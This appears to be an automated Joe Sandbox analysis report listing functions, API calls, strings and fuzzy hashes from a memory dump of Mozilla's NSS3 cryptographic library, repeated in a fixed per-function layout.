Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: memcmpstrlen$strcmp
String ID: $OQ}l$manufacturer$model$serial$token
API String ID: 2407968032-66425480
Opcode ID: 94760b96b4987a17088914831129fd2df4f3033560f82ac63a34d3d935a38452
Instruction ID: 1f8042dc279809245501106fba467eb249f8869275f4b0b0f0d906ee2316f3e8
Opcode Fuzzy Hash: 94760b96b4987a17088914831129fd2df4f3033560f82ac63a34d3d935a38452
Instruction Fuzzy Hash: 7F02CCA1F0C3C96EF7318722CD8DBE12AE06B0931CF4E19F5D9498AA93C6EC4959D351

Function 6C7FEDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6C7FEE0B

Part of subcall function 6C810BE0: malloc.MOZGLUE(6C808D2D,?,00000000,?), ref: 6C810BF8
Part of subcall function 6C810BE0: TlsGetValue.KERNEL32(6C808D2D,?,00000000,?), ref: 6C810C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7FEEE1

Part of subcall function 6C7F1D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6C7F1D7E
Part of subcall function 6C7F1D50: EnterCriticalSection.KERNEL32(?), ref: 6C7F1D8E
Part of subcall function 6C7F1D50: PR_Unlock.NSS3(?), ref: 6C7F1DD3

TlsGetValue.KERNEL32 ref: 6C7FEE51
EnterCriticalSection.KERNEL32(?), ref: 6C7FEE65
PR_Unlock.NSS3(?), ref: 6C7FEEA2
free.MOZGLUE(?), ref: 6C7FEEBB
PR_SetError.NSS3(00000000,00000000), ref: 6C7FEED0
PR_Unlock.NSS3(?), ref: 6C7FEF48
free.MOZGLUE(?), ref: 6C7FEF68
PR_SetError.NSS3(00000000,00000000), ref: 6C7FEF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6C7FEFA4
free.MOZGLUE(?), ref: 6C7FEFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C7FF055
free.MOZGLUE(?), ref: 6C7FF060

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 0d5323f21b1e5b1667cc47fa3cb631674da07b30a37637e9d74185d3cbcf0994
Instruction ID: 5cb862a2d6d825c018c3ccf60c6bde2a3ffc24e28b3c4dea1888ea57f928b6da
Opcode Fuzzy Hash: 0d5323f21b1e5b1667cc47fa3cb631674da07b30a37637e9d74185d3cbcf0994
Instruction Fuzzy Hash: 2D8183B1A002099FEF00DF65DD85ADE77B9BF08318F540038E919A7711E771E965CBA1

Function 6C7C4CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6C7C4D80
PORT_Alloc_Util.NSS3(00000000), ref: 6C7C4D95
PORT_NewArena_Util.NSS3(00000800), ref: 6C7C4DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7C4E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C7C4E43
PORT_NewArena_Util.NSS3(00000800), ref: 6C7C4E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6C7C4E85
DER_Encode_Util.NSS3(?,?,6C9105A4,00000000), ref: 6C7C4EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6C7C4F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6C7C4F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C7C4F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C7C4F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C7C4F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C7C4FC8

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: ca5e2458eff48041e6ea00b3f2088f5d3d2f2d3fd364cab7e56583d915ce6fd7
Instruction ID: 620d1e79458417011f6be4cb878675b2058f22eb7145100fc3200ca50fe3d173
Opcode Fuzzy Hash: ca5e2458eff48041e6ea00b3f2088f5d3d2f2d3fd364cab7e56583d915ce6fd7
Instruction Fuzzy Hash: BC818471A083029FE711CF28DE40B6A77E8AB84758F15893DF958D7641E731D904CB93

Function 6C7C0470 Relevance: 21.2, APIs: 14, Instructions: 206timeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C7C04B7

Part of subcall function 6C810FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7B87ED,00000800,6C7AEF74,00000000), ref: 6C811000
Part of subcall function 6C810FF0: PR_NewLock.NSS3(?,00000800,6C7AEF74,00000000), ref: 6C811016
Part of subcall function 6C810FF0: PL_InitArenaPool.NSS3(00000000,security,6C7B87ED,00000008,?,00000800,6C7AEF74,00000000), ref: 6C81102B

PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C7C0539

Part of subcall function 6C811200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C7B88A4,00000000,00000000), ref: 6C811228
Part of subcall function 6C811200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C811238
Part of subcall function 6C811200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C7B88A4,00000000,00000000), ref: 6C81124B
Part of subcall function 6C811200: PR_CallOnce.NSS3(6C912AA4,6C8112D0,00000000,00000000,00000000,?,6C7B88A4,00000000,00000000), ref: 6C81125D
Part of subcall function 6C811200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C81126F
Part of subcall function 6C811200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C811280
Part of subcall function 6C811200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C81128E
Part of subcall function 6C811200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C81129A
Part of subcall function 6C811200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C8112A1

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7C054A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C7C056D
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7C05CA
DER_GeneralizedTimeToTime_Util.NSS3(?,?), ref: 6C7C05EA
PR_SetError.NSS3(FFFFE00C,00000000), ref: 6C7C05FD
PR_SetError.NSS3(FFFFE07E,00000000), ref: 6C7C0621
PR_EnterMonitor.NSS3 ref: 6C7C063E
PR_ExitMonitor.NSS3 ref: 6C7C0668
CERT_DestroyCertificate.NSS3(?), ref: 6C7C0697
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C7C06AC
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C7C06CC
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7C06DA

Part of subcall function 6C7BE6B0: PORT_ArenaMark_Util.NSS3(00000000,?,00000000,?,?,6C7C04DC,?,?), ref: 6C7BE6C9
Part of subcall function 6C7BE6B0: PORT_ArenaAlloc_Util.NSS3(00000000,00000088,?,?,00000000,?,?,6C7C04DC,?,?), ref: 6C7BE6D9
Part of subcall function 6C7BE6B0: memset.VCRUNTIME140(00000000,00000000,00000088,?,?,?,?,00000000,?,?,6C7C04DC,?,?), ref: 6C7BE6F4
Part of subcall function 6C7BE6B0: SECOID_SetAlgorithmID_Util.NSS3(00000000,00000000,00000004,00000000,?,?,?,?,?,?,?,00000000,?,?,6C7C04DC,?), ref: 6C7BE703
Part of subcall function 6C7BE6B0: CERT_FindCertIssuer.NSS3(?,?,6C7C04DC,0000000B,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C7BE71E

Part of subcall function 6C7BF660: PR_EnterMonitor.NSS3(6C7C050F,?,00000001,?,?,?), ref: 6C7BF6A8
Part of subcall function 6C7BF660: PR_Now.NSS3(?,?,?,00000001,?,?,?), ref: 6C7BF6C1
Part of subcall function 6C7BF660: PR_ExitMonitor.NSS3(?,?,?,00000001,?,?,?), ref: 6C7BF7C8

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Util$ArenaArena_ErrorFree$Monitor$EnterPool$CriticalExitSectionfree$AlgorithmAlloc_CallCertCertificateClearDeleteDestroyFindGeneralizedInitIssuerLockMark_OnceTimeTime_UnlockValuecallocmemset
String ID:
API String ID: 2470852775-0
Opcode ID: 4a6fc5388fc5e58c96895f4d14e1a3845772a7c376e040dc8e4b05c4e6e126d6
Instruction ID: 389c006cf8ef616ba7df11217a66000c851fdcaef928d58c7476808482b302f6
Opcode Fuzzy Hash: 4a6fc5388fc5e58c96895f4d14e1a3845772a7c376e040dc8e4b05c4e6e126d6
Instruction Fuzzy Hash: C8619DB1B082429FEB10CE68DE44B5A77A4AB84758F104938F955A7791E730E918CBE3

Function 6C7F8F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C7F9582), ref: 6C7F8F5B

Part of subcall function 6C80BE30: SECOID_FindOID_Util.NSS3(6C7C311B,00000000,?,6C7C311B,?), ref: 6C80BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C7F8F6A

Part of subcall function 6C810FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7B87ED,00000800,6C7AEF74,00000000), ref: 6C811000
Part of subcall function 6C810FF0: PR_NewLock.NSS3(?,00000800,6C7AEF74,00000000), ref: 6C811016
Part of subcall function 6C810FF0: PL_InitArenaPool.NSS3(00000000,security,6C7B87ED,00000008,?,00000800,6C7AEF74,00000000), ref: 6C81102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C7F8FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6C7F8FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6C8DD820,6C7F9576), ref: 6C7F8FF9
DER_GetInteger_Util.NSS3(?), ref: 6C7F901D
PORT_ZAlloc_Util.NSS3(?), ref: 6C7F903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C7F9062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C7F90A2
PORT_ZAlloc_Util.NSS3(?), ref: 6C7F90CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6C7F90F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C7F912D
free.MOZGLUE(00000000), ref: 6C7F9136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C7F9145

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: b9e05fd0c7c5ae2c683e179986ae6ce59d5340c99c3138a190f479061cb625ca
Instruction ID: fb24efb96b56e2bf9a2acb05e2011d5dcd03ce16b61000845e97d1d04a059449
Opcode Fuzzy Hash: b9e05fd0c7c5ae2c683e179986ae6ce59d5340c99c3138a190f479061cb625ca
Instruction Fuzzy Hash: 3C51E5B2A082019BE710CF29DD81B97B7E4EF95358F054939E864C7741E731E94ACBD2

Function 6C7E25C0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetSlotList), ref: 6C7E25DD
PR_LogPrint.NSS3( pulCount = 0x%p,?), ref: 6C7E262A

Part of subcall function 6C8C09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C8C0BAB
Part of subcall function 6C8C09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C8C0BBA
Part of subcall function 6C8C09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C8C0D7E

PR_LogPrint.NSS3( pSlotList = 0x%p,?), ref: 6C7E260F

Part of subcall function 6C8C09D0: OutputDebugStringA.KERNEL32(?), ref: 6C8C0B88
Part of subcall function 6C8C09D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C8C0C5D
Part of subcall function 6C8C09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C8C0C8D
Part of subcall function 6C8C09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C8C0C9C
Part of subcall function 6C8C09D0: OutputDebugStringA.KERNEL32(?), ref: 6C8C0CD1
Part of subcall function 6C8C09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C8C0CEC
Part of subcall function 6C8C09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C8C0CFB
Part of subcall function 6C8C09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C8C0D16
Part of subcall function 6C8C09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C8C0D26
Part of subcall function 6C8C09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C8C0D35
Part of subcall function 6C8C09D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C8C0D65
Part of subcall function 6C8C09D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C8C0D70
Part of subcall function 6C8C09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C8C0D90
Part of subcall function 6C8C09D0: free.MOZGLUE(00000000), ref: 6C8C0D99

PR_LogPrint.NSS3( tokenPresent = 0x%x,?), ref: 6C7E25F6

Part of subcall function 6C8C09D0: PR_Now.NSS3 ref: 6C8C0A22
Part of subcall function 6C8C09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C8C0A35
Part of subcall function 6C8C09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C8C0A66
Part of subcall function 6C8C09D0: PR_GetCurrentThread.NSS3 ref: 6C8C0A70
Part of subcall function 6C8C09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C8C0A9D
Part of subcall function 6C8C09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C8C0AC8
Part of subcall function 6C8C09D0: PR_vsmprintf.NSS3(?,?), ref: 6C8C0AE8
Part of subcall function 6C8C09D0: EnterCriticalSection.KERNEL32(?), ref: 6C8C0B19
Part of subcall function 6C8C09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C8C0B48
Part of subcall function 6C8C09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C8C0C76
Part of subcall function 6C8C09D0: PR_LogFlush.NSS3 ref: 6C8C0C7E

PR_LogPrint.NSS3( *pulCount = 0x%x,?), ref: 6C7E2699
PR_LogPrint.NSS3( slotID[%d] = %x,00000000,?), ref: 6C7E26C5

Strings

slotID[%d] = %x, xrefs: 6C7E26C0
pSlotList = 0x%p, xrefs: 6C7E260A
pulCount = 0x%p, xrefs: 6C7E2625
tokenPresent = 0x%x, xrefs: 6C7E25F1
C_GetSlotList, xrefs: 6C7E25D8
*pulCount = 0x%x, xrefs: 6C7E2694

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Print$DebugOutputStringfflush$fwrite$R_snprintf$CriticalCurrentEnterExplodeFlushR_vsmprintfR_vsnprintfSectionThreadTimefputcfreememcpy
String ID: *pulCount = 0x%x$ pSlotList = 0x%p$ pulCount = 0x%p$ slotID[%d] = %x$ tokenPresent = 0x%x$C_GetSlotList
API String ID: 2625801553-2918917633
Opcode ID: a43c0cd02d255881ec16fd61a742b2f149f107268422ca55963b3c326750ed39
Instruction ID: 5826b92d5f440d168187b8cf9cd4dfb97f01ed396bae03f0d5489e35db806c31
Opcode Fuzzy Hash: a43c0cd02d255881ec16fd61a742b2f149f107268422ca55963b3c326750ed39
Instruction Fuzzy Hash: A931D072245246AFDB10DF58DE8EA5937B1EB8A359F144428E80487E12DB31E958CB61

Function 6C8CC8A0 Relevance: 21.1, APIs: 14, Instructions: 94stringCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000020), ref: 6C8CC8B9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C8CC8DA
malloc.MOZGLUE(00000001), ref: 6C8CC8E4
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C8CC8F8
PR_NewLock.NSS3 ref: 6C8CC909
PR_NewCondVar.NSS3(00000000), ref: 6C8CC918
PR_NewCondVar.NSS3(00000000), ref: 6C8CC92A

Part of subcall function 6C7A0F00: PR_GetPageSize.NSS3(6C7A0936,FFFFE8AE,?,6C7316B7,00000000,?,6C7A0936,00000000,?,6C73204A), ref: 6C7A0F1B
Part of subcall function 6C7A0F00: PR_NewLogModule.NSS3(clock,6C7A0936,FFFFE8AE,?,6C7316B7,00000000,?,6C7A0936,00000000,?,6C73204A), ref: 6C7A0F25

free.MOZGLUE(00000000), ref: 6C8CC947

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Cond$LockModulePageSizecallocfreemallocstrcpystrlen
String ID:
API String ID: 2931242645-0
Opcode ID: 79542f8c58991c1359267195fa99d983b37230f73ec34c3fe4509788ef5bb15d
Instruction ID: 1aa2ba8f965d5dc15b0aeec648111465e96b7876698eb47f174ef3dbcbe7a14d
Opcode Fuzzy Hash: 79542f8c58991c1359267195fa99d983b37230f73ec34c3fe4509788ef5bb15d
Instruction Fuzzy Hash: A721C5B1B046059BEB20AF799D0A65B76F8EF05258F14093CE85BD2B41E731E518CBA3

Function 6C7AAF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C7AAF47

Part of subcall function 6C879090: TlsGetValue.KERNEL32 ref: 6C8790AB
Part of subcall function 6C879090: TlsGetValue.KERNEL32 ref: 6C8790C9
Part of subcall function 6C879090: EnterCriticalSection.KERNEL32 ref: 6C8790E5
Part of subcall function 6C879090: TlsGetValue.KERNEL32 ref: 6C879116
Part of subcall function 6C879090: LeaveCriticalSection.KERNEL32 ref: 6C87913F

FreeLibrary.KERNEL32(?), ref: 6C7AAF6D
free.MOZGLUE(?), ref: 6C7AAFA4
free.MOZGLUE(?), ref: 6C7AAFAA
PR_ExitMonitor.NSS3 ref: 6C7AAFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6C7AAFF5
PR_ExitMonitor.NSS3 ref: 6C7AB005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C7AB014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6C7AB028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C7AB03C

Strings

Unloaded library %s, xrefs: 6C7AB023
%s decr => %d, xrefs: 6C7AAFF0

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: e291d9b6f05dde4eb0e20c526ca18d152f36c5950915b4204c158a987fed2418
Instruction ID: 957ee7439416e77ce1ff3462dfe72c11ab2efa9da1d6e0be723969b869a37171
Opcode Fuzzy Hash: e291d9b6f05dde4eb0e20c526ca18d152f36c5950915b4204c158a987fed2418
Instruction Fuzzy Hash: 1C3129B5B08100ABD7119FA4DE45A06B7B5EB0E368B244735E80597E00F332E826CFF2

Function 6C808680 Relevance: 21.1, APIs: 14, Instructions: 91stringCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000028,00000000,-00000001,?,00000000,?,6C7B55D0,00000000,00000000), ref: 6C80868B
PR_NewLock.NSS3(00000000,00000000), ref: 6C8086A0

Part of subcall function 6C8798D0: calloc.MOZGLUE(00000001,00000084,6C7A0936,00000001,?,6C7A102C), ref: 6C8798E5

PR_NewCondVar.NSS3(00000000,00000000,00000000), ref: 6C8086B2

Part of subcall function 6C79BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C7A21BC), ref: 6C79BB8C

PR_NewCondVar.NSS3(00000000,?,00000000,00000000), ref: 6C8086C8

Part of subcall function 6C79BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C79BBEB
Part of subcall function 6C79BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C79BBFB
Part of subcall function 6C79BB80: GetLastError.KERNEL32 ref: 6C79BC03
Part of subcall function 6C79BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C79BC19
Part of subcall function 6C79BB80: free.MOZGLUE(00000000), ref: 6C79BC22

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000000,00000000), ref: 6C8086E2
malloc.MOZGLUE(00000001,?,?,?,00000000,00000000), ref: 6C8086EC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,00000000), ref: 6C808700
DeleteCriticalSection.KERNEL32(-0000000C,?,?,00000000,00000000), ref: 6C80871F
free.MOZGLUE(00000000,?,?,00000000,00000000), ref: 6C808726
DeleteCriticalSection.KERNEL32(?,?,?,?,00000000,00000000), ref: 6C808743
free.MOZGLUE(?,?,?,?,00000000,00000000), ref: 6C80874A
DeleteCriticalSection.KERNEL32(-0000001C,?,00000000,00000000), ref: 6C808759
free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C808760
free.MOZGLUE(00000000,00000000,00000000), ref: 6C80876C

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: free$CriticalSection$DeleteErrorcalloc$Cond$CountInitializeLastLockSpinmallocstrcpystrlen
String ID:
API String ID: 1802479574-0
Opcode ID: 911b8e064d12b2f36ccb19cca910aa29a491d200a3a8a974158bdff93ce96162
Instruction ID: f158b1c1fad1f07ccb3c3467489498949778a2bb8b1f302c49cfaf123868d71b
Opcode Fuzzy Hash: 911b8e064d12b2f36ccb19cca910aa29a491d200a3a8a974158bdff93ce96162
Instruction Fuzzy Hash: AC21CEF5B006015BEF106F795D0995B36ACEF42295B14053DF819C7B41EB31D514C772

Function 6C7F6C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C7F781D,00000000,6C7EBE2C,?,6C7F6B1D,?,?,?,?,00000000,00000000,6C7F781D), ref: 6C7F6C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C7F781D,?,6C7EBE2C,?), ref: 6C7F6C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C7F781D), ref: 6C7F6C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C7F6C84
